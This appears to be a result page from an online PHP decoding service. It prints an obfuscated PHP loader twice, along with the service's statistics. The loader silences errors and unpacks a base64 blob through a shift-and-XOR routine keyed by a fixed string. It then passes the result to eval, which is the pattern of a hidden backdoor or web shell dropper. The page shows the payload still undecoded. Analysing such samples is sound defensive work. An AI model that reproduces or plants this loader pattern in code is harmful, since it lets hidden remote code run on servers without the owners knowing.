Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php error_reporting(0); @ini_set('display_errors',0); $e=base64_decode('eRBWHjV7MQQDE..

Decoded Output download

<?php 
error_reporting(0); 
@ini_set('display_errors',0); 
$e=base64_decode('eRBWHjV7MQQDEgsmNks4LzELMAY3ClwiNQAjGCB8HVRLAz0TCWgECjoJEDAYQCsMODUABRgxLS4cAzENIhgKXksTPl4TQ1JoCj0+ejRmCjcMImRWGwopchwpJw4nDA5HfwwlATVAJTEAHhh6HRg/Pz4MMxwbBj41GipJTQ=='); 
$k='%TkiP3vOIZQNQ*XGnfNjzNlExnqtCOL7'; 
function d($e,$k){ 
$s=0; 
for($i=0;$i<strlen($k);$i++){$s+=ord($k[$i]);} 
$s=$s%10; 
$u=''; 
for($i=0;$i<strlen($e);$i++){ 
$c=$e[$i]; 
if(ctype_alpha($c)){ 
$a=ord($c); 
if(ctype_upper($c)){ 
$u.=chr(($a-65-$s+26)%26+65); 
}else{ 
$u.=chr(($a-97-$s+26)%26+97); 
} 
}elseif(ctype_digit($c)){ 
$u.=(intval($c)-$s+10)%10; 
}else{ 
$u.=$c; 
} 
} 
$r=''; 
for($i=0;$i<strlen($u);$i++){ 
$r.=chr(ord($u[$i])^ord($k[$i%strlen($k)])); 
} 
return base64_decode($r); 
} 
eval('?>'.d($e,$k)); 
?>

Did this file decode correctly?

Original Code

<?php
error_reporting(0);
@ini_set('display_errors',0);
$e=base64_decode('eRBWHjV7MQQDEgsmNks4LzELMAY3ClwiNQAjGCB8HVRLAz0TCWgECjoJEDAYQCsMODUABRgxLS4cAzENIhgKXksTPl4TQ1JoCj0+ejRmCjcMImRWGwopchwpJw4nDA5HfwwlATVAJTEAHhh6HRg/Pz4MMxwbBj41GipJTQ==');
$k='%TkiP3vOIZQNQ*XGnfNjzNlExnqtCOL7';
function d($e,$k){
$s=0;
for($i=0;$i<strlen($k);$i++){$s+=ord($k[$i]);}
$s=$s%10;
$u='';
for($i=0;$i<strlen($e);$i++){
$c=$e[$i];
if(ctype_alpha($c)){
$a=ord($c);
if(ctype_upper($c)){
$u.=chr(($a-65-$s+26)%26+65);
}else{
$u.=chr(($a-97-$s+26)%26+97);
}
}elseif(ctype_digit($c)){
$u.=(intval($c)-$s+10)%10;
}else{
$u.=$c;
}
}
$r='';
for($i=0;$i<strlen($u);$i++){
$r.=chr(ord($u[$i])^ord($k[$i%strlen($k)]));
}
return base64_decode($r);
}
eval('?>'.d($e,$k));
?>

Function Calls

d 1
ord 32
strlen 34
ini_set 1
ctype_alpha 1
base64_decode 1
error_reporting 1

Variables

$c 121
$e yV5{1 &6K8/1 07 \"5# |TK= h : 0@+ 851-.1 " ^K>^CRh =>z4f 7 "..
$i 0
$k %TkiP3vOIZQNQ*XGnfNjzNlExnqtCOL7
$s 4
$u

Stats

MD5 540cc9e7ba6f758b52f81454cc21c35b
Eval Count 0
Decode Time 125 ms